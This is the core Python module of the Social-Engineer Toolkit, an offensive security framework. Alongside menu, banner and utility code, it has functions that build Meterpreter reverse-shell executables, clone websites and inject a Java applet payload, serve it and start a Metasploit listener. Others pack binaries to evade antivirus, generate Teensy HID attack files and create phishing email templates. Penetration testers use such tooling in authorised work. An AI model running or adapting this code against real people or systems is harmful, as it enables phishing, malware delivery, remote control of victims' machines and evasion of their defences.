social-engineer-toolkit/src/core/setcore.py

1459 lines
57 KiB
Python

#!/usr/bin/env python
##############################################
# Centralized core modules for SET #
##############################################
import re
import sys
import socket
import subprocess
import shutil
import os
import time
import datetime
import random
import string
import inspect
import base64
from src.core import dictionaries
import multiprocessing
import thread
from multiprocessing import Process
# check to see if we have python-pycrypto
try:
from Crypto.Cipher import AES
except ImportError:
print "[!] The python-pycrypto python module not installed. You will loose the ability for encrypted communications."
pass
# used to grab the true path for current working directory
definepath = os.getcwd()
# check operating system
def check_os():
if os.name == "nt":
operating_system = "windows"
if os.name == "posix":
operating_system = "posix"
return operating_system
#
# Class for colors
#
if check_os() == "posix":
class bcolors:
PURPLE = '\033[95m'
CYAN = '\033[96m'
DARKCYAN = '\033[36m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BOLD = '\033[1m'
UNDERL = '\033[4m'
ENDC = '\033[0m'
backBlack = '\033[40m'
backRed = '\033[41m'
backGreen = '\033[42m'
backYellow = '\033[43m'
backBlue = '\033[44m'
backMagenta = '\033[45m'
backCyan = '\033[46m'
backWhite = '\033[47m'
def disable(self):
self.PURPLE = ''
self.CYAN = ''
self.BLUE = ''
self.GREEN = ''
self.YELLOW = ''
self.RED = ''
self.ENDC = ''
self.BOLD = ''
self.UNDERL = ''
self.backBlack = ''
self.backRed = ''
self.backGreen = ''
self.backYellow = ''
self.backBlue = ''
self.backMagenta = ''
self.backCyan = ''
self.backWhite = ''
self.DARKCYAN = ''
# if we are windows or something like that then define colors as nothing
else:
class bcolors:
PURPLE = ''
CYAN = ''
DARKCYAN = ''
BLUE = ''
GREEN = ''
YELLOW = ''
RED = ''
BOLD = ''
UNDERL = ''
ENDC = ''
backBlack = ''
backRed = ''
backGreen = ''
backYellow = ''
backBlue = ''
backMagenta = ''
backCyan = ''
backWhite = ''
def disable(self):
self.PURPLE = ''
self.CYAN = ''
self.BLUE = ''
self.GREEN = ''
self.YELLOW = ''
self.RED = ''
self.ENDC = ''
self.BOLD = ''
self.UNDERL = ''
self.backBlack = ''
self.backRed = ''
self.backGreen = ''
self.backYellow = ''
self.backBlue = ''
self.backMagenta = ''
self.backCyan = ''
self.backWhite = ''
self.DARKCYAN = ''
# this will be the home for the set menus
def setprompt(category, text):
# if no special prompt and no text, return plain prompt
if category == '0' and text == "":
return bcolors.UNDERL + bcolors.DARKCYAN + "set" + bcolors.ENDC + "> "
# if the loop is here, either category or text was positive
# if it's the category that is blank...return prompt with only the text
if category == '0':
return bcolors.UNDERL + bcolors.DARKCYAN + "set" + bcolors.ENDC + "> " + text + ": "
# category is NOT blank
else:
# initialize the base 'set' prompt
prompt = bcolors.UNDERL + bcolors.DARKCYAN + "set" + bcolors.ENDC
# if there is a category but no text
if text == "":
for level in category:
level = dictionaries.category(level)
prompt += ":" + bcolors.UNDERL + bcolors.DARKCYAN + level + bcolors.ENDC
promptstring = str(prompt)
promptstring += ">"
return promptstring
# if there is both a category AND text
else:
# iterate through the list received
for level in category:
level = dictionaries.category(level)
prompt += ":" + bcolors.UNDERL + bcolors.DARKCYAN + level + bcolors.ENDC
promptstring = str(prompt)
promptstring = promptstring + "> " + text + ":"
return promptstring
def yesno_prompt(category,text):
valid_response = False
while not valid_response:
response = raw_input(setprompt(category,text))
response = str.lower(response)
if response == "no" or response == "n":
response = "NO"
valid_response = True
elif response == "yes" or response == "y":
response = "YES"
valid_response = True
else:
print_warning("valid responses are 'n|y|N|Y|no|yes|No|Yes|NO|YES'")
return response
def return_continue():
print ("\n Press " + bcolors.RED + "<return> " + bcolors.ENDC + "to continue")
pause = raw_input()
############ DEBUGGING ###############
#### ALWAYS SET TO ZERO BEFORE COMMIT!
DEBUG_LEVEL = 0
# 0 = Debugging OFF
# 1 = debug imports only
# 2 = debug imports with pause for <ENTER>
# 3 = imports, info messages
# 4 = imports, info messages with pause for <ENTER>
# 5 = imports, info messages, menus
# 6 = imports, info messages, menus with pause for <ENTER>
debugFrameString = '-' * 72
def debug_msg(currentModule, message, msgType):
if DEBUG_LEVEL == 0:
pass #stop evaluation efficiently
else:
if msgType <= DEBUG_LEVEL:
# a bit more streamlined
print bcolors.RED + "\nDEBUG_MSG: from module '" + currentModule + "': " + message + bcolors.ENDC
#print "\n" + bcolors.RED + debugFrameString + "\nDEBUG_MSG: from module '" + currentModule + "': " + message + "\n" + debugFrameString + bcolors.ENDC
#print "Debug level: %s" % DEBUG_LEVEL
#print (" msgType: %s" % msgType) + "\n"
if DEBUG_LEVEL == 2 or DEBUG_LEVEL == 4 or DEBUG_LEVEL == 6:
raw_input("waiting for <ENTER>\n")
def mod_name():
frame_records = inspect.stack()[1]
calling_module=inspect.getmodulename(frame_records[1])
return calling_module
##########################################
############ RUNTIME MESSAGES ############
def print_status(message):
print bcolors.GREEN + bcolors.BOLD + "[*] " + bcolors.ENDC + str(message)
def print_info(message):
print bcolors.BLUE + bcolors.BOLD + "[-] " + bcolors.ENDC + str(message)
def print_info_spaces(message):
print bcolors.BLUE + bcolors.BOLD + " [-] " + bcolors.ENDC + str(message)
def print_warning(message):
print bcolors.YELLOW + bcolors.BOLD + "[!] " + bcolors.ENDC + str(message)
def print_error(message):
print bcolors.RED + bcolors.BOLD + "[!] " + bcolors.ENDC + bcolors.RED + str(message) + bcolors.ENDC
def get_version():
define_version = '4.7.2'
return define_version
class create_menu:
def __init__(self, text, menu):
self.text = text
self.menu = menu
print text
#print "\nType 'help' for information on this module\n"
for i, option in enumerate(menu):
menunum = i + 1
# Check to see if this line has the 'return to main menu' code
match = re.search("0D", option)
# If it's not the return to menu line:
if not match:
if menunum < 10:
print(' %s) %s' % (menunum,option))
else:
print(' %s) %s' % (menunum,option))
else:
print '\n 99) Return to Main Menu\n'
return
def validate_ip(address):
try:
if socket.inet_aton(address):
if len(address.split('.')) == 4:
debug_msg("setcore","this is a valid IP address",5)
return True
else:
print_error("This is not a valid IP address...")
raise socket.error
else:
raise socket_error
except socket.error:
return False
#
# grab the metaspoit path
#
def meta_path():
# DEFINE METASPLOIT PATH
meta_path = file("%s/config/set_config" % (definepath),"r").readlines()
for line in meta_path:
line = line.rstrip()
match = re.search("METASPLOIT_PATH=", line)
if match:
line = line.replace("METASPLOIT_PATH=","")
msf_path = line.rstrip()
# if it doesn't end with a forward slash
if msf_path.endswith("/"):
pass
else:
msf_path = msf_path + "/"
# path for metasploit
trigger = 0
if not os.path.isdir(msf_path):
# specific for kali linux
if os.path.isfile("/opt/metasploit/apps/pro/msf3/msfconsole"):
msf_path = "/opt/metasploit/apps/pro/msf3/"
trigger = 1
# specific for backtrack5
if os.path.isfile("/opt/framework3/msf3/msfconsole"):
msf_path = "/opt/framework3/msf3/"
trigger = 1
if os.path.isfile("/opt/framework/msf3/msfconsole"):
msf_path = "/opt/framework/msf3/"
trigger = 1
if os.path.isfile("/opt/metasploit/msf3/msfconsole"):
msf_path = "/opt/metasploit/msf3/"
trigger = 1
if trigger == 0:
if check_os() != "windows":
check_metasploit = check_config("METASPLOIT_MODE=").lower()
if check_metasploit != "off":
print_error("Metasploit path not found. These payloads will be disabled.")
print_error("Please configure in the config/set_config.")
return_continue()
return False
if check_os() == "windows":
print_warning("Metasploit payloads are not currently supported. This is coming soon.")
msf_path = ""
# this is an option if we don't want to use Metasploit period
check_metasploit = check_config("METASPLOIT_MODE=").lower()
if check_metasploit != "on": msf_path = False
return msf_path
#
# grab the metaspoit path
#
def meta_database():
# DEFINE METASPLOIT PATH
meta_path = file("%s/config/set_config" % (definepath),"r").readlines()
for line in meta_path:
line = line.rstrip()
match = re.search("METASPLOIT_DATABASE=", line)
if match:
line = line.replace("METASPLOIT_DATABASE=","")
msf_database = line.rstrip()
return msf_database
#
# grab the interface ip address
#
def grab_ipaddress():
try:
fileopen = file("%s/config/set_config" % (definepath), "r").readlines()
for line in fileopen:
line = line.rstrip()
match = re.search("AUTO_DETECT=ON", line)
if match:
try:
rhost = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
rhost.connect(('google.com', 0))
rhost.settimeout(2)
rhost = rhost.getsockname()[0]
return rhost
except Exception:
rhost = raw_input(setprompt("0", "Enter your interface IP Address"))
while 1:
# check if IP address is valid
ip_check = is_valid_ip(rhost)
if ip_check == False:
rhost = raw_input("[!] Invalid ip address try again: ")
if ip_check == True: break
return rhost
# if AUTO_DETECT=OFF prompt for IP Address
match1 = re.search("AUTO_DETECT=OFF", line)
if match1:
rhost = raw_input(setprompt("0", "IP address for the payload listener"))
while 1:
# check if IP address is valid
ip_check = is_valid_ip(rhost)
if ip_check == False:
rhost = raw_input("[!] Invalid ip address try again: ")
if ip_check == True: break
return rhost
except Exception, e:
print_error("ERROR:Something went wrong:")
print bcolors.RED + "ERROR:" + str(e) + bcolors.ENDC
#
# check for pexpect
#
def check_pexpect():
try:
import pexpect
except:
try:
import src.core.thirdparty.pexpect
except:
print_error("ERROR:PExpect is required in order to fully run SET")
print_warning("Please download and install PExpect: http://sourceforge.net/projects/pexpect/files/pexpect/Release%202.3/pexpect-2.3.tar.gz/download")
if check_os() == "posix":
#answer = raw_input(setprompt("0", "Would you like SET to attempt to install it for you? [yes|no]"))
answer = yesno_prompt("0", "Would you like SET to attempt to install it for you? [yes|no]")
if answer == "YES":
print_info("Installing Pexpect")
subprocess.Popen("wget http://downloads.sourceforge.net/project/pexpect/pexpect/Release%202.3/pexpect-2.3.tar.gz?use_mirror=hivelocity;tar -zxvf pexpect-2.3.tar.gz;cd pexpect-2.3/;python setup.py install", shell=True).wait()
# clean up
subprocess.Popen("rm -rf pexpect-2.3*", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
print_status("Finished... Relaunch SET, if it doesn't work for you, install manually.")
sys.exit(1)
if answer == "NO":
sys.exit(1)
else:
print_error("ERROR:Invalid response, exiting the Social-Engineer Toolkit...")
sys.exit(1)
#
# check for beautifulsoup
#
# try import for BeautifulSoup, required for MLITM
def check_beautifulsoup():
try:
import BeautifulSoup
except:
try:
import src.core.thirdparty.BeautifulSoup
except:
print_error("ERROR:BeautifulSoup is required in order to fully run SET")
print_warning("Please download and install BeautifulSoup: http://www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.2.0.tar.gz")
if check_os() == "posix":
#answer = raw_input(setprompt("0", "Would you like SET to attempt to install it for you? [yes|no]"))
answer = yesno_prompt("0", "Would you like SET to attempt to install it for you? [yes|no]")
if answer == "YES":
print_info("Installing BeautifulSoup...")
subprocess.Popen("wget http://www.crummy.com/software/BeautifulSoup/download/3.x/BeautifulSoup-3.2.0.tar.gz;tar -zxvf BeautifulSoup-3.2.0.tar.gz;cd BeautifulSoup-*;python setup.py install", shell=True).wait()
# clean up
subprocess.Popen("rm -rf BeautifulSoup-*", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
print_status("Finished... Relaunch SET, if it doesn't work for you, install manually.")
sys.exit(1)
if answer == "NO":
sys.exit()
else:
print_error("ERROR:Invalid response, exiting the Social-Engineer Toolkit...")
sys.exit(1)
# mssql check
def check_mssql():
try:
import _mssql
except:
print_error("ERROR:pymssql is required in order to fully run SET")
print_warning("Please download and install pymssql: http://code.google.com/p/pymssql/downloads/list")
if check_os() == "posix":
answer = raw_input(setprompt("0", "Would you like SET to attempt to install it for you? [yes|no]"))
#answer = raw_input(setprompt("0", "Would you like SET to attempt to install it for you? [yes|no]"))
answer = yesno_prompt("0", "Would you like SET to attempt to install it for you? [yes|no]")
if answer == "YES":
print_info("Installing pymssql")
if os.path.isfile("/usr/bin/yum"):
subprocess.Popen("yum install pymssql", shell=True).wait()
print_status("Finished... Relaunch SET, if it doesn't work for you, install manually.")
try:
sys.exit(0)
except SystemExit:
pass
elif os.path.isfile("/usr/bin/apt-get"):
subprocess.Popen("apt-get install python-pymssql", shell=True).wait()
print_status("Finished... Relaunch SET, if it doesn't work for you, install manually.")
try:
sys.exit(0)
except SystemExit:
pass
else:
print "No luck identifying an installer. Please install pymssql manually."
try:
sys.exit(0)
except SystemExit:
pass
elif answer == "NO":
sys.exit(1)
else:
print_error("ERROR:Invalid response, exiting the Social-Engineer Toolkit...")
sys.exit(1)
#
# cleanup old or stale files
#
def cleanup_routine():
try:
# restore original Java Applet
shutil.copyfile("%s/src/html/Signed_Update.jar.orig" % (definepath), "%s/src/program_junk/Signed_Update.jar" % (definepath))
if os.path.isfile("newcert.pem"):
os.remove("newcert.pem")
if os.path.isfile("src/program_junk/interfaces"):
os.remove("src/program_junk/interfaces")
if os.path.isfile("src/html/1msf.raw"):
os.remove("src/html/1msf.raw")
if os.path.isfile("src/html/2msf.raw"):
os.remove("src/html/2msf.raw")
if os.path.isfile("msf.exe"):
os.remove("msf.exe")
if os.path.isfile("src/html/index.html"):
os.remove("src/html/index.html")
if os.path.isfile("src/program_junk/Signed_Update.jar"):
os.remove("src/program_junk/Signed_Update.jar")
#subprocess.Popen("rm -rf src/program_junk/*", stderr=subprocess.PIPE, stdout=subprocess.PIPE, shell=True)
except:
pass
#
# Update Metasploit
#
def update_metasploit():
print_info("Updating the Metasploit Framework...Be patient.")
msf_path = meta_path()
svn_update = subprocess.Popen("cd %s/;svn update" % (msf_path), shell=True).wait()
print_status("Metasploit has successfully updated!")
return_continue()
#
# Update The Social-Engineer Toolkit
#
def update_set():
print_info("Updating the Social-Engineer Toolkit, be patient...")
subprocess.Popen("git pull", shell=True).wait()
print_status("The updating has finished, returning to main menu..")
time.sleep(2)
#
# Pull the help menu here
#
def help_menu():
fileopen = file("README.txt","r").readlines()
for line in fileopen:
line = line.rstrip()
print line
fileopen = file("readme/CREDITS", "r").readlines()
print "\n"
for line in fileopen:
line = line.rstrip()
print line
return_continue()
#
# This is a small area to generate the date and time
#
def date_time():
now = str(datetime.datetime.today())
return now
#
# generate a random string
#
def generate_random_string(low, high):
length = random.randint(low, high)
letters = string.ascii_letters+string.digits
return ''.join([random.choice(letters) for _ in range(length)])
#
# clone JUST a website, and export it.
# Will do no additional attacks.
#
def site_cloner(website, exportpath, *args):
grab_ipaddress()
ipaddr = grab_ipaddress()
filewrite = file("src/program_junk/interface", "w")
filewrite.write(ipaddr)
filewrite.close()
filewrite = file("src/program_junk/ipaddr", "w")
filewrite.write(ipaddr)
filewrite.close()
filewrite = file("src/program_junk/site.template", "w")
filewrite.write("URL=" + website)
filewrite.close()
# if we specify a second argument this means we want to use java applet
if args[0] == "java":
# needed to define attack vector
filewrite = file("src/program_junk/attack_vector", "w")
filewrite.write("java")
filewrite.close()
sys.path.append("src/webattack/web_clone")
# if we are using menu mode we reload just in case
try:
debug_msg("setcore","importing 'src.webattack.web_clone.cloner'",1)
reload(cloner)
except:
debug_msg("setcore","importing 'src.webattack.web_clone.cloner'",1)
import cloner
# copy the file to a new folder
print_status("Site has been successfully cloned and is: " + exportpath)
subprocess.Popen("mkdir '%s';cp src/program_junk/web_clone/* '%s'" % (exportpath, exportpath), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
#
# this will generate a meterpreter reverse payload (executable)
# with backdoored executable, digital signature stealing, and
# UPX encoded (if these options are enabled). It will automatically
# inherit the AUTO_DETECT=ON or OFF configuration.
#
# usage: metasploit_reverse_tcp_exe(portnumber)
#
def meterpreter_reverse_tcp_exe(port):
ipaddr = grab_ipaddress()
filewrite = file("src/program_junk/interface", "w")
filewrite.write(ipaddr)
filewrite.close()
filewrite = file("src/program_junk/ipaddr", "w")
filewrite.write(ipaddr)
filewrite.close()
update_options("IPADDR=" + ipaddr)
# trigger a flag to be checked in payloadgen
# if this flag is true, it will skip the questions
filewrite = file("src/program_junk/meterpreter_reverse_tcp_exe", "w")
filewrite.write(port)
filewrite.close()
# import the system path for payloadgen in SET
sys.path.append("src/core/payloadgen")
try:
debug_msg("setcore","importing 'src.core.payloadgen.create_payloads'",1)
reload(create_payloads)
except:
debug_msg("setcore","importing 'src.core.payloadgen.create_payloads'",1)
import create_payloads
random_value = generate_random_string(5, 10)
# copy the created executable to program_junk
print_status("Executable created under src/program_junk/%s.exe" % (random_value))
subprocess.Popen("cp src/program_junk/msf.exe src/program_junk/%s.exe" % (random_value), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
#
# Start a metasploit multi handler
#
def metasploit_listener_start(payload,port):
# open a file for writing
filewrite = file("%s/src/program_junk/msf_answerfile" % (definepath), "w")
filewrite.write("use multi/handler\nset payload %s\nset LHOST 0.0.0.0\nset LPORT %s\nexploit -j\n\n" % (payload, port))
# close the file
filewrite.close()
# launch msfconsole
metasploit_path = meta_path()
subprocess.Popen("%s/msfconsole -r %s/src/program_junk/msf_answerfile" % (metasploit_path, definepath), shell=True).wait()
#
# This will start a web server in the directory root you specify, so for example
# you clone a website then run it in that web server, it will pull any index.html file
#
def start_web_server(directory):
try:
# import the threading, socketserver, and simplehttpserver
import SocketServer, SimpleHTTPServer
# create the httpd handler for the simplehttpserver
# we set the allow_reuse_address incase something hangs can still bind to port
class ReusableTCPServer(SocketServer.TCPServer): allow_reuse_address=True
# specify the httpd service on 0.0.0.0 (all interfaces) on port 80
httpd = ReusableTCPServer(("0.0.0.0", 80), SimpleHTTPServer.SimpleHTTPRequestHandler)
# thread this mofo
os.chdir(directory)
thread.start_new_thread(httpd.serve_forever, ())
#httpd.serve_forever()
# change directory to the path we specify for output path
# os.chdir(directory)
# handle keyboard interrupts
except KeyboardInterrupt:
print_info("Exiting the SET web server...")
httpd.socket.close()
#
# this will start a web server without threads
#
def start_web_server_unthreaded(directory):
try:
# import the threading, socketserver, and simplehttpserver
import thread, SocketServer, SimpleHTTPServer
# create the httpd handler for the simplehttpserver
# we set the allow_reuse_address incase something hangs can still bind to port
class ReusableTCPServer(SocketServer.TCPServer): allow_reuse_address=True
# specify the httpd service on 0.0.0.0 (all interfaces) on port 80
httpd = ReusableTCPServer(("0.0.0.0", 80), SimpleHTTPServer.SimpleHTTPRequestHandler)
# thread this mofo
os.chdir(directory)
httpd.serve_forever()
# change directory to the path we specify for output path
os.chdir(directory)
# handle keyboard interrupts
except KeyboardInterrupt:
print_info("Exiting the SET web server...")
httpd.socket.close()
#
# This will create the java applet attack from start to finish.
# Includes payload (reverse_meterpreter for now) cloning website
# and additional capabilities.
#
def java_applet_attack(website, port, directory):
# create the payload
meterpreter_reverse_tcp_exe(port)
# clone the website and inject java applet
site_cloner(website,directory,"java")
# this part is needed to rename the msf.exe file to a randomly generated one
filename = check_options("MSF.EXE=")
if check_options != 0:
#if os.path.isfile("src/program_junk/rand_gen"):
# move the file to the specified directory and filename
subprocess.Popen("cp src/program_junk/msf.exe %s/%s" % (directory,filename), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
# lastly we need to copy over the signed applet
subprocess.Popen("cp src/program_junk/Signed_Update.jar %s" % (directory), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
# start the web server by running it in the background
start_web_server(directory)
# run multi handler for metasploit
print_info("Starting the multi/handler through Metasploit...")
metasploit_listener_start("windows/meterpreter/reverse_tcp",port)
#
# this will create a raw PDE file for you to use in your teensy device
#
#
def teensy_pde_generator(attack_method):
# grab the ipaddress
ipaddr=grab_ipaddress()
# if we are doing the attack vector teensy beef
if attack_method == "beef":
# specify the filename
filename = file("src/teensy/beef.pde", "r")
filewrite = file("reports/beef.pde", "w")
teensy_string = ("Successfully generated Teensy HID Beef Attack Vector under reports/beef.pde")
# if we are doing the attack vector teensy beef
if attack_method == "powershell_down":
# specify the filename
filename = file("src/teensy/powershell_down.pde", "r")
filewrite = file("reports/powershell_down.pde", "w")
teensy_string = ("Successfully generated Teensy HID Attack Vector under reports/powershell_down.pde")
# if we are doing the attack vector teensy
if attack_method == "powershell_reverse":
# specify the filename
filename = file("src/teensy/powershell_reverse.pde", "r")
filewrite = file("reports/powershell_reverse.pde", "w")
teensy_string = ("Successfully generated Teensy HID Attack Vector under reports/powershell_reverse.pde")
# if we are doing the attack vector teensy beef
if attack_method == "java_applet":
# specify the filename
filename = file("src/teensy/java_applet.pde", "r")
filewrite = file("reports/java_applet.pde", "w")
teensy_string = ("Successfully generated Teensy HID Attack Vector under reports/java_applet.pde")
# if we are doing the attack vector teensy
if attack_method == "wscript":
# specify the filename
filename = file("src/teensy/wscript.pde", "r")
filewrite = file("reports/wscript.pde", "w")
teensy_string = ("Successfully generated Teensy HID Attack Vector under reports/wscript.pde")
# All the options share this code except binary2teensy
if attack_method != "binary2teensy":
for line in filename:
line = line.rstrip()
match = re.search("IPADDR", line)
if match:
line = line.replace("IPADDR", ipaddr)
filewrite.write(line)
# binary2teensy method
if attack_method == "binary2teensy":
# specify the filename
import src.teensy.binary2teensy
teensy_string = ("Successfully generated Teensy HID Attack Vector under reports/binary2teensy.pde")
print_status(teensy_string)
#
# Expand the filesystem windows directory
#
def windows_root():
return os.environ['WINDIR']
#
# core log file routine for SET
#
def log(error):
# open log file only if directory is present (may be out of directory for some reason)
if not os.path.isfile("%s/src/logs/set_logfile.log" % (definepath)):
filewrite = file("%s/src/logs/set_logfile.log" % (definepath), "w")
filewrite.write("")
filewrite.close()
if os.path.isfile("%s/src/logs/set_logfile.log" % (definepath)):
error = str(error)
# open file for writing
filewrite = file("%s/src/logs/set_logfile.log" % (definepath), "a")
# write error message out
filewrite.write("ERROR: " + date_time() + ": " + error + "\n")
# close the file
filewrite.close()
#
# upx encoding and modify binary
#
def upx(path_to_file):
# open the set_config
fileopen = file("config/set_config", "r")
for line in fileopen:
line = line.rstrip()
match = re.search("UPX_PATH=", line)
if match:
upx_path = line.replace("UPX_PATH=", "")
# if it isn't there then bomb out
if not os.path.isfile(upx_path):
print_warning("UPX was not detected. Try configuring the set_config again.")
# if we detect it
if os.path.isfile(upx_path):
print_info("Packing the executable and obfuscating PE file randomly, one moment.")
# packing executable
subprocess.Popen("%s -9 -q -o src/program_junk/temp.binary %s" % (upx_path, path_to_file), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
# move it over the old file
subprocess.Popen("mv src/program_junk/temp.binary %s" % (path_to_file), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
# random string
random_string = generate_random_string(3,3).upper()
# 4 upx replace - we replace 4 upx open the file
fileopen = file(path_to_file, "rb")
filewrite = file("src/program_junk/temp.binary", "wb")
# read the file open for data
data = fileopen.read()
# replace UPX stub makes better evasion for A/V
filewrite.write(data.replace("UPX", random_string, 4))
filewrite.close()
# copy the file over
subprocess.Popen("mv src/program_junk/temp.binary %s" % (path_to_file), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
time.sleep(3)
def show_banner(define_version,graphic):
if graphic == "1":
if check_os() == "posix":
os.system("clear")
if check_os() == "windows":
os.system("cls")
show_graphic()
else:
os.system("clear")
print bcolors.BLUE + """
[---] The Social-Engineer Toolkit ("""+bcolors.YELLOW+"""SET"""+bcolors.BLUE+""") [---]
[---] Created by:""" + bcolors.RED+""" David Kennedy """+bcolors.BLUE+"""("""+bcolors.YELLOW+"""ReL1K"""+bcolors.BLUE+""") [---]
[---] Version: """+bcolors.RED+"""%s""" % (define_version) +bcolors.BLUE+""" [---]
[---] Codename: '""" + bcolors.YELLOW + """Headshot""" + bcolors.BLUE + """' [---]
[---] Follow us on Twitter: """ + bcolors.PURPLE+ """@trustedsec""" + bcolors.BLUE+""" [---]
[---] Follow me on Twitter: """ + bcolors.PURPLE+ """@dave_rel1k""" + bcolors.BLUE+""" [---]
[---] Homepage: """ + bcolors.YELLOW + """https://www.trustedsec.com""" + bcolors.BLUE+""" [---]
""" + bcolors.GREEN+""" Welcome to the Social-Engineer Toolkit (SET). The one
stop shop for all of your social-engineering needs.
"""
print bcolors.BLUE + """ Join us on irc.freenode.net in channel #setoolkit\n""" + bcolors.ENDC
print bcolors.BOLD + """ The Social-Engineer Toolkit is a product of TrustedSec.\n\n Visit: """ + bcolors.GREEN + """https://www.trustedsec.com\n""" + bcolors.ENDC
def show_graphic():
menu = random.randrange(2,10)
if menu == 2:
print bcolors.YELLOW + r"""
.--. .--. .-----.
: .--': .--'`-. .-'
`. `. : `; : :
_`, :: :__ : :
`.__.'`.__.' :_; """ + bcolors.ENDC
return
if menu == 3:
print bcolors.GREEN + r"""
_______________________________
/ _____/\_ _____/\__ ___/
\_____ \ | __)_ | |
/ \ | \ | |
/_______ //_______ / |____|
\/ \/ """ + bcolors.ENDC
return
if menu == 4:
print bcolors.BLUE + r"""
:::=== :::===== :::====
::: ::: :::====
===== ====== ===
=== === ===
====== ======== ===
""" + bcolors.ENDC
if menu == 5:
print bcolors.RED + r"""
..######..########.########
.##....##.##..........##...
.##.......##..........##...
..######..######......##...
.......##.##..........##...
.##....##.##..........##...
..######..########....##... """ + bcolors.ENDC
return
if menu == 6:
print bcolors.PURPLE + r'''
.M"""bgd `7MM"""YMM MMP""MM""YMM
,MI "Y MM `7 P' MM `7
`MMb. MM d MM
`YMMNq. MMmmMM MM
. `MM MM Y , MM
Mb dM MM ,M MM
P"Ybmmd" .JMMmmmmMMM .JMML.''' + bcolors.ENDC
return
if menu == 7:
print bcolors.YELLOW + r"""
________________________
__ ___/__ ____/__ __/
_____ \__ __/ __ /
____/ /_ /___ _ /
/____/ /_____/ /_/ """ + bcolors.ENDC
return
if menu == 8:
print bcolors.RED + r'''
!\_________________________/!\
!! !! \
!! Social-Engineer Toolkit !! \
!! !! !
!! Free !! !
!! !! !
!! #hugs !! !
!! !! !
!! By: TrustedSec !! /
!!_________________________!! /
!/_________________________\!/
__\_________________/__/!_
!_______________________!/
________________________
/oooo oooo oooo oooo /!
/ooooooooooooooooooooooo/ /
/ooooooooooooooooooooooo/ /
/C=_____________________/_/''' + bcolors.ENDC
if menu == 9:
print bcolors.YELLOW + """
01011001011011110111010100100000011100
10011001010110000101101100011011000111
10010010000001101000011000010111011001
10010100100000011101000110111100100000
01101101011101010110001101101000001000
00011101000110100101101101011001010010
00000110111101101110001000000111100101
10111101110101011100100010000001101000
01100001011011100110010001110011001000
00001110100010110100101001001000000101
01000110100001100001011011100110101101
11001100100000011001100110111101110010
00100000011101010111001101101001011011
10011001110010000001110100011010000110
01010010000001010011011011110110001101
10100101100001011011000010110101000101
01101110011001110110100101101110011001
01011001010111001000100000010101000110
11110110111101101100011010110110100101
11010000100000001010100110100001110101
011001110111001100101010""" + bcolors.ENDC
#
# identify if set interactive shells are disabled
#
def set_check():
fileopen=file("config/set_config", "r")
for line in fileopen:
match = re.search("SET_INTERACTIVE_SHELL=OFF", line)
# if we turned it off then we return a true else return false
if match:
return True
match1 = re.search("SET_INTERACTIVE_SHELL=ON", line)
# return false otherwise
if match1:
return False
# if the user specifies 99
def menu_back():
print_info("Returning to the previous menu...")
# used to generate random templates for the phishing schema
def custom_template():
try:
print (" [****] Custom Template Generator [****]\n")
print ("Always looking for new templates! In the set/src/templates directory send an email\n to davek@secmaniac.com if you got a good template!")
author=raw_input(setprompt("0", "Enter the name of the author"))
filename=randomgen=random.randrange(1,99999999999999999999)
filename=str(filename)+(".template")
subject=raw_input(setprompt("0", "Enter the subject of the email"))
try:
body=raw_input(setprompt("0", "Enter the body of the message, hit return for a new line. Control+c when finished: "))
while body != 'sdfsdfihdsfsodhdsofh':
try:
body+=(r"\n")
body+=raw_input("Next line of the body: ")
except KeyboardInterrupt: break
except KeyboardInterrupt: pass
filewrite=file("src/templates/%s" % (filename), "w")
filewrite.write("# Author: "+author+"\n#\n#\n#\n")
filewrite.write('SUBJECT='+'"'+subject+'"\n\n')
filewrite.write('BODY='+'"'+body+'"\n')
print "\n"
filewrite.close()
except Exception, e:
print_error("ERROR:An error occured:")
print bcolors.RED + "ERROR:" + str(e) + bcolors.ENDC
# routine for checking length of a payload: variable equals max choice
def check_length(choice,max):
# start initital loop
counter = 0
while 1:
if counter == 1:
choice = raw_input(bcolors.YELLOW + bcolors.BOLD + "[!] " + bcolors.ENDC + "Invalid choice try again: ")
# try block in case its not a integer
try:
# check to see if its an integer
choice = int(choice)
# okay its an integer lets do the compare
if choice > max:
# trigger an exception as not an int
choice = "blah"
choice = int(choice)
# if everythings good return the right choice
return choice
# oops, not a integer
except Exception:
counter = 1
# valid if IP address is legit
def is_valid_ip(ip):
return is_valid_ipv4(ip) or is_valid_ipv6(ip)
# ipv4
def is_valid_ipv4(ip):
pattern = re.compile(r"""
^
(?:
# Dotted variants:
(?:
# Decimal 1-255 (no leading 0's)
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2} # Hexadecimal 0x0 - 0xFF (possible leading 0's)
|
0+[1-3]?[0-7]{0,2} # Octal 0 - 0377 (possible leading 0's)
)
(?: # Repeat 0-3 times, separated by a dot
\.
(?:
[3-9]\d?|2(?:5[0-5]|[0-4]?\d)?|1\d{0,2}
|
0x0*[0-9a-f]{1,2}
|
0+[1-3]?[0-7]{0,2}
)
){0,3}
|
0x0*[0-9a-f]{1,8} # Hexadecimal notation, 0x0 - 0xffffffff
|
0+[0-3]?[0-7]{0,10} # Octal notation, 0 - 037777777777
|
# Decimal notation, 1-4294967295:
429496729[0-5]|42949672[0-8]\d|4294967[01]\d\d|429496[0-6]\d{3}|
42949[0-5]\d{4}|4294[0-8]\d{5}|429[0-3]\d{6}|42[0-8]\d{7}|
4[01]\d{8}|[1-3]\d{0,9}|[4-9]\d{0,8}
)
$
""", re.VERBOSE | re.IGNORECASE)
return pattern.match(ip) is not None
# ipv6
def is_valid_ipv6(ip):
"""Validates IPv6 addresses.
"""
pattern = re.compile(r"""
^
\s* # Leading whitespace
(?!.*::.*::) # Only a single whildcard allowed
(?:(?!:)|:(?=:)) # Colon iff it would be part of a wildcard
(?: # Repeat 6 times:
